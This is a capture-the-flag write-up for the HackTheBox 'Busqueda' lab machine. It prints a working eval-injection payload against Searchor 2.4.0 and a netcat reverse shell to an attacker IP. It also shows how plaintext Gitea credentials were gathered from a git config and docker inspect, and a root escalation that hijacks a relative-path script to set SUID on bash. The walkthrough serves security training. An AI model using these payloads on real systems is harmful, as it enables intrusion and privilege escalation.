Busqueda hackthebox writeup

User Flag

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Port 80 is open, it redirects to searcher.htb so make sure to add it to your /etc/hosts.

The web is a simple “search engine”, by scrolling down we can see the software being used.

Powered by Flask and Searchor 2.4.0

After trying some SSTI just in case, I searched for Searchor 2.4.0 and found its Snyk Page here. There isn’t any POC available so you need to exploit it manually by yourself by looking at the github pull request.

f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"

Basically, this line creates a string by calling the method search of the object Engine (then it gets executed by eval), the only injectable parameter here is query since engine is sanitized. knowing it’s a string a payload like this does the trick

'+__import__('os').system('ls')+'

Now that we have RCE let’s just run a reverse shell. The mkfifo payload works fine most of the time.

'+__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.76 7777 >/tmp/f')+'
[dasor@archlinux ~/htb/busqueda]$ nc -lvp 7777
Listening on 0.0.0.0 7777
Connection received on gitea.searcher.htb 45578
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
svc@busqueda:/var/www/app$ ^Z
zsh: suspended  nc -lvp 7777
[dasor@archlinux ~/htb/busqueda]$ stty raw -echo;fg
[1]  + continued  nc -lvp 7777
                              script /dev/null -c bash
Script started, output log file is '/dev/null'.
svc@busqueda:/var/www/app$ export TERM=xterm
svc@busqueda:/var/www/app$

Root flag

By looking at the git repository in the app directory we can find plaintext credentials. This lets us execute sudo -l.

svc@busqueda:/var/www/app/.git$ cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Now, we can use docker inspect to get data from the containers

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect  '{{json .Config}}'  gitea | tr , '\n'
{"Hostname":"960873171e2e"
"Domainname":""
"User":""
"AttachStdin":false
"AttachStdout":false
"AttachStderr":false
"ExposedPorts":{"22/tcp":{}
"3000/tcp":{}}
"Tty":false
"OpenStdin":false
"StdinOnce":false
"Env":["USER_UID=115"
"USER_GID=121"
"GITEA__database__DB_TYPE=mysql"
"GITEA__database__HOST=db:3306"
"GITEA__database__NAME=gitea"
"GITEA__database__USER=gitea"
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh"
...

With this, we now have the admin password for gitea.

If we add gitea.searcher.htb to /etc/hosts we can access it. Now, we have access to the source code of all the scripts in the /opt/scripts directory.

  elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')

This part is using a relative path so we can just create our own full-checkup.sh and run it as root

svc@busqueda:~$ cat > full-checkup.sh
#!/bin/bash
chmod u+s /bin/bash
^C
svc@busqueda:~$ ls
full-checkup.sh  user.txt
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:~$ bash -p
bash-5.1# whoami
root